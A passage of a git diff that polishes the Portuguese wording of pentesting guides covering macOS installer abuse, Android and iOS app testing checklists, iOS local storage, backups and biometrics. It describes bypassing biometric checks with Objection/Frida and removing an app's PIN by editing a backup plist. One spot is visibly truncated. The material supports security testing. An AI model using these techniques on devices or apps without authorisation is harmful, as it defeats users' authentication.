symlinks para o cache compartilhado com as reais (você precisará extraí-las). +- **`DYLD_SHARED_CACHE_DIR=avoid`** e substituir manualmente as bibliotecas por symlinks para o cache compartilhado com as reais (você precisará extraí-las). ## Permissões Especiais de Arquivo @@ -158,10 +158,10 @@ Todas as flags podem ser encontradas no arquivo `sys/stat.h` (encontre usando `m As **ACLs** de arquivo contêm **ACE** (Entradas de Controle de Acesso) onde permissões **mais granulares** podem ser atribuídas a diferentes usuários. -É possível conceder a um **diretório** essas permissões: `listar`, `pesquisar`, `adicionar_arquivo`, `adicionar_subdiretório`, `deletar_filho`, `deletar_filho`.\ +É possível conceder a um **diretório** estas permissões: `listar`, `pesquisar`, `adicionar_arquivo`, `adicionar_subdiretório`, `deletar_filho`, `deletar_filho`.\ E a um **arquivo**: `ler`, `escrever`, `adicionar`, `executar`. -Quando o arquivo contém ACLs, você encontrará um "+" ao listar as permissões, como em: +Quando o arquivo contém ACLs, você encontrará um "+" ao listar as permissões como em: ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies @@ -196,7 +196,7 @@ Atributos estendidos têm um nome e qualquer valor desejado, e podem ser vistos ### Forks de Recurso | macOS ADS -Esta é uma maneira de obter **Fluxos de Dados Alternativos em máquinas MacOS**. Você pode salvar conteúdo dentro de um atributo estendido chamado **com.apple.ResourceFork** dentro de um arquivo salvando-o em **file/..namedfork/rsrc**. +Esta é uma maneira de obter **Fluxos de Dados Alternativos no MacOS**. Você pode salvar conteúdo dentro de um atributo estendido chamado **com.apple.ResourceFork** dentro de um arquivo salvando-o em **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index f21b38402..1c3bc9c50 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -27,9 +27,9 @@ O arquivo `Info.plist` é uma pedra angular para a configuração do aplicativo, Para explorar o conteúdo de um bundle, como `Safari.app`, o seguinte comando pode ser usado: `bash ls -lR /Applications/Safari.app/Contents` -Essa exploração revela diretórios como `_CodeSignature`, `MacOS`, `Resources` e arquivos como `Info.plist`, cada um servindo a um propósito único, desde a segurança do aplicativo até a definição de sua interface de usuário e parâmetros operacionais. +Essa exploração revela diretórios como `_CodeSignature`, `MacOS`, `Resources`, e arquivos como `Info.plist`, cada um servindo a um propósito único, desde a segurança do aplicativo até a definição de sua interface do usuário e parâmetros operacionais. -#### Diretórios Adicionais de Bundle +#### Diretórios Adicionais de Bundles Além dos diretórios comuns, bundles também podem incluir: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 7f3499753..f2d6226ff 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informações Básicas do Pkg +## Informações Básicas sobre Pkg Um **pacote de instalador** do macOS (também conhecido como arquivo `.pkg`) é um formato de arquivo usado pelo macOS para **distribuir software**. Esses arquivos são como uma **caixa que contém tudo o que um software** precisa para ser instalado e executado corretamente. @@ -39,7 +39,7 @@ Para visualizar o conteúdo do instalador sem descompactá-lo manualmente, você Arquivos DMG, ou Imagens de Disco da Apple, são um formato de arquivo usado pelo macOS da Apple para imagens de disco. Um arquivo DMG é essencialmente uma **imagem de disco montável** (contém seu próprio sistema de arquivos) que contém dados brutos geralmente comprimidos e às vezes criptografados. Quando você abre um arquivo DMG, o macOS **o monta como se fosse um disco físico**, permitindo que você acesse seu conteúdo. > [!CAUTION] -> Note que instaladores **`.dmg`** suportam **tantos formatos** que no passado alguns deles contendo vulnerabilidades foram abusados para obter **execução de código no kernel**. +> Note que instaladores **`.dmg`** suportam **muitos formatos** que no passado foram abusados para obter **execução de código no kernel**. ### Hierarquia @@ -49,7 +49,7 @@ A hierarquia de um arquivo DMG pode ser diferente com base no conteúdo. No enta - Nível Superior: Este é a raiz da imagem de disco. Frequentemente contém o aplicativo e possivelmente um link para a pasta Aplicativos. - Aplicativo (.app): Este é o aplicativo real. No macOS, um aplicativo é tipicamente um pacote que contém muitos arquivos e pastas individuais que compõem o aplicativo. -- Link de Aplicativos: Este é um atalho para a pasta Aplicativos no macOS. O objetivo disso é facilitar a instalação do aplicativo. Você pode arrastar o arquivo .app para este atalho para instalar o app. +- Link para Aplicativos: Este é um atalho para a pasta Aplicativos no macOS. O objetivo disso é facilitar a instalação do aplicativo. Você pode arrastar o arquivo .app para este atalho para instalar o app. ## Privesc via abuso de pkg @@ -79,11 +79,11 @@ Um exemplo disso é **CVE-2021-26089**, que conseguiu **substituir um script per ### Payload Vazio -É possível gerar apenas um arquivo **`.pkg`** com **scripts de pré e pós-instalação** sem nenhum payload real, além do malware dentro dos scripts. +É possível gerar apenas um arquivo **`.pkg`** com **scripts de pré e pós-instalação** sem nenhum payload real além do malware dentro dos scripts. ### JS no xml de Distribuição -É possível adicionar tags **` ``` -- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API como 17. +- Para mitigar riscos, **restrinja o uso da ponte JavaScript** ao código enviado com o APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo da API para 17. ### Execução Remota de Código Baseada em Reflexão (RCE) diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 4106e1a35..58c0a3213 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -1,4 +1,4 @@ -# Checklist de APK do Android +# Checklist de APK Android {{#include ../banners/hacktricks-training.md}} @@ -40,7 +40,7 @@ ### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis) -- [ ] Prepare o ambiente ([online](android-app-pentesting/#online-dynamic-analysis), [VM local ou física](android-app-pentesting/#local-dynamic-analysis)). +- [ ] Prepare o ambiente ([online](android-app-pentesting/#online-dynamic-analysis), [VM local ou física](android-app-pentesting/#local-dynamic-analysis)) - [ ] Existe algum [vazamento de dados não intencional](android-app-pentesting/#unintended-data-leakage) (logs, copiar/colar, logs de falhas)? - [ ] [Informações confidenciais sendo salvas em bancos de dados SQLite](android-app-pentesting/#sqlite-dbs)? - [ ] [Atividades expostas exploráveis](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? @@ -48,12 +48,12 @@ - [ ] [Serviços expostos exploráveis](android-app-pentesting/#exploiting-services)? - [ ] [Receivers de Broadcast exploráveis](android-app-pentesting/#exploiting-broadcast-receivers)? - [ ] O aplicativo está [transmitindo informações em texto claro/usando algoritmos fracos](android-app-pentesting/#insufficient-transport-layer-protection)? É possível um MitM? -- [ ] [Inspecione o tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic). +- [ ] [Inspecione o tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic) - [ ] Este ponto é realmente importante, porque se você conseguir capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades da Web). - [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui). -- [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-a para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...). +- [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-a para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...) -### Algumas informações sobre ofuscação/deofuscação +### Algumas informações sobre ofuscação/Deofuscação - [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code) diff --git a/src/mobile-pentesting/cordova-apps.md b/src/mobile-pentesting/cordova-apps.md index ffe73d1bb..31bbe859f 100644 --- a/src/mobile-pentesting/cordova-apps.md +++ b/src/mobile-pentesting/cordova-apps.md @@ -18,9 +18,9 @@ npm install -g cordova@latest cordova create bank-new com.android.bank Bank cd bank-new ``` -Copie o conteúdo de `bank/assets/www` para `bank-new/www`, excluindo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` e o diretório `plugins/`. +Copie os conteúdos de `bank/assets/www` para `bank-new/www`, excluindo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` e o diretório `plugins/`. -Especifique a plataforma (Android ou iOS) ao criar um novo projeto Cordova. Para clonar um aplicativo Android, adicione a plataforma Android. Observe que as versões da plataforma do Cordova e os níveis da API do Android são distintos. Consulte a [documentação](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) do Cordova para detalhes sobre versões de plataforma e APIs do Android suportadas. +Especifique a plataforma (Android ou iOS) ao criar um novo projeto Cordova. Para clonar um aplicativo Android, adicione a plataforma Android. Note que as versões de plataforma do Cordova e os níveis de API do Android são distintos. Consulte a [documentação](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) do Cordova para detalhes sobre versões de plataforma e APIs do Android suportadas. Para determinar a versão apropriada da plataforma Cordova Android, verifique o `PLATFORM_VERSION_BUILD_LABEL` no arquivo `cordova.js` do aplicativo original. diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index c48a44f97..953e0c8f0 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -57,14 +57,14 @@ - [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) - [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**. - [ ] Verifique se o aplicativo está **registrando para usar** algum protocolo/esquema. -- [ ] Verifique se o aplicativo **espera receber algum tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo registrando o mesmo esquema. -- [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e alguma **vulnerabilidade pode ser explorada**. -- [ ] Verifique se o aplicativo **exponha alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. +- [ ] Verifique se o aplicativo **espera receber qualquer tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo registrando o mesmo esquema. +- [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e se alguma **vulnerabilidade pode ser explorada**. +- [ ] Verifique se o aplicativo **expondo alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. - [**Universal Links**](ios-pentesting/#universal-links) - [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema universal**. - [ ] Verifique o arquivo `apple-app-site-association`. -- [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e alguma **vulnerabilidade pode ser explorada**. -- [ ] Verifique se o aplicativo **exponha alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. +- [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e se alguma **vulnerabilidade pode ser explorada**. +- [ ] Verifique se o aplicativo **expondo alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado. - [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md) - [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada. - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 6d14472ad..f20251cf0 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -168,19 +168,19 @@ A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. A - **`_CodeSignature/`**: Este diretório inclui um arquivo plist que contém uma assinatura, garantindo a integridade de todos os arquivos no bundle. - **`Assets.car`**: Um arquivo compactado que armazena arquivos de ativos, como ícones. - **`Frameworks/`**: Esta pasta abriga as bibliotecas nativas da aplicação, que podem estar na forma de arquivos `.dylib` ou `.framework`. -- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit. +- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer ao seu app em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle. - **en.lproj, fr.proj, Base.lproj**: São os pacotes de idioma que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado. -- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do aplicativo, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais. +- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do app, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais. - **Gerenciamento de Ativos**: O arquivo `Assets.car` utiliza compressão para gerenciar eficientemente ativos gráficos, crucial para otimizar o desempenho da aplicação e reduzir seu tamanho total. -- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do aplicativo (`PlugIns/`). -- **Localização**: A estrutura suporta vários idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos. +- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do app (`PlugIns/`). +- **Localização**: A estrutura suporta múltiplos idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos. **Info.plist** -O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de **pares chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de app e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de app até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). -Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes: +Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes: - **Para macOS**: ```bash @@ -248,13 +248,13 @@ lsof -p | grep -i "/containers" | head -n 1 - O conteúdo deste diretório **não é salvo**. - O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo. - **Library/Application Support/** -- Contém **arquivos** **persistentes** necessários para a execução do app. +- Contém **arquivos persistentes** necessários para a execução do app. - **Invisível** **para** **os usuários** e os usuários não podem escrever nele. - O conteúdo deste diretório **é salvo**. - O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`. - **Library/Preferences/** - Usado para armazenar propriedades que podem **persistir mesmo após a reinicialização de uma aplicação**. -- As informações são salvas, sem criptografia, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist. +- As informações são salvas, não criptografadas, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist. - Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo. - **tmp/** - Use este diretório para escrever **arquivos temporários** que não precisam persistir entre as execuções do app. @@ -371,9 +371,9 @@ ios-basics.md ### Plist -Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma maneira de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendável verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos. +Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendável verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos. -A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/.plist`** +A forma mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/.plist`** A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Os dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um **arquivo plist**, mas é destinada a ser usada com pequenas quantidades de dados. @@ -391,7 +391,7 @@ Para converter arquivos do formato **XML ou binário (bplist)** para XML, vário ```bash $ plutil -convert xml1 Info.plist ``` -**Para usuários do Linux:** Instale `libplist-utils` primeiro, depois use `plistutil` para converter seu arquivo: +**Para usuários de Linux:** Instale `libplist-utils` primeiro, depois use `plistutil` para converter seu arquivo: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist @@ -438,7 +438,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo ### Outros Bancos de Dados SQLite -É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório do aplicativo. Portanto, vá para o diretório do aplicativo onde os dados estão salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`) +É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados estão salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` @@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Cookies -O iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o **arquivo de cookies mencionado pode ser acessado em backups**. +iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o mencionado **arquivo de cookie pode ser acessado em backups**. Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\ **Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados. @@ -528,9 +528,9 @@ Este método removerá todas as requisições e respostas em cache do arquivo Ca ### Snapshots -Sempre que você pressiona o botão home, o iOS **tira uma captura de tela da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através** **de reinicializações**). Essas são as capturas que você também pode acessar tocando duas vezes na tela inicial para alternar entre aplicativos. +Sempre que você pressiona o botão home, o iOS **tira uma captura de tela da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através** **de** **reinicializações**). Essas são as capturas que você também pode acessar tocando duas vezes na tela inicial para alternar entre aplicativos. -A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, a última captura é armazenada na sandbox do aplicativo na pasta `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0). +A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, a última captura é armazenada no sandbox do aplicativo na pasta `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0). Uma maneira de prevenir esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar a captura usando a função `ApplicationDidEnterBackground()`. @@ -584,17 +584,17 @@ Para extrair essas credenciais armazenadas, o comando `ios nsurlcredentialstorag ## **Teclados Personalizados e Cache de Teclado** -Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles apresentam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis. +Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles apresentam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem, e devem, restringir o uso de teclados personalizados para a entrada de informações sensíveis. **Recomendações de Segurança:** - É aconselhável desativar teclados de terceiros para aumentar a segurança. -- Esteja ciente dos recursos de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache. -- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo as teclas remotamente. +- Esteja ciente das funcionalidades de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache. +- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo teclas remotamente. ### **Prevenindo o Cache de Campos de Texto** -O [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) oferece propriedades para gerenciar a correção automática e a entrada de texto seguro, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desativar a correção automática e habilitar a entrada de texto seguro pode ser alcançado com: +O [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) oferece propriedades para gerenciar a correção automática e a entrada de texto segura, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desativar a correção automática e habilitar a entrada de texto segura pode ser alcançado com: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; @@ -650,7 +650,7 @@ Arquivos em `Documents/` e `Library/Application Support/` são incluídos nos ba ### Testando Vulnerabilidades -Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo. +Para avaliar a segurança do backup de um aplicativo, comece por **criar um backup** usando o Finder, depois localize-o usando orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo. Informações sensíveis podem ser buscadas usando ferramentas de linha de comando ou aplicativos como [iMazing](https://imazing.com). Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup. ```xml @@ -665,13 +665,13 @@ Informações sensíveis podem ser buscadas usando ferramentas de linha de coman ... ``` -Para lidar com backups criptografados, scripts Python disponíveis no [repositório GitHub da DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, podem ser úteis, embora potencialmente exijam ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) é outra opção para acessar arquivos dentro de backups protegidos por senha. +Para lidar com backups criptografados, scripts em Python disponíveis no [repositório GitHub do DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, podem ser úteis, embora potencialmente exijam ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) é outra opção para acessar arquivos dentro de backups protegidos por senha. ### Modificando o Comportamento do App -Um exemplo de alteração do comportamento do app através de modificações no backup é demonstrado no [aplicativo de carteira bitcoin Bither](https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado dentro de `net.bither.plist` sob a chave **pin_code**. Remover esta chave do plist e restaurar o backup remove a exigência do PIN, proporcionando acesso irrestrito. +Um exemplo de alteração do comportamento do app através de modificações no backup é demonstrado no [aplicativo de carteira bitcoin Bither](https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado em `net.bither.plist` sob a chave **pin_code**. Remover esta chave do plist e restaurar o backup elimina a exigência do PIN, proporcionando acesso irrestrito. -## Resumo sobre Teste de Memória para Dados Sensíveis +## Resumo sobre Testes de Memória para Dados Sensíveis Ao lidar com informações sensíveis armazenadas na memória de um aplicativo, é crucial limitar o tempo de exposição desses dados. Existem duas abordagens principais para investigar o conteúdo da memória: **criar um dump de memória** e **analisar a memória em tempo real**. Ambos os métodos têm seus desafios, incluindo a possibilidade de perder dados críticos durante o processo de dump ou análise. @@ -891,7 +891,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido. #### **Objection** -Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos. +Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre produza um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos. Para ativar esse bypass, o seguinte comando é empregado: ```bash diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index 149296f29..266554526 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -56,7 +56,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz . ``` ### **Ferramentas de Interface Gráfica do Usuário** -**Usando iFunbox e iExplorer:** Essas ferramentas GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox da aplicação, a menos que o dispositivo esteja jailbroken. +**Usando iFunbox e iExplorer:** Essas ferramentas GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox do aplicativo, a menos que o dispositivo esteja jailbroken. ### **Usando Objection para Gerenciamento de Arquivos** @@ -109,7 +109,7 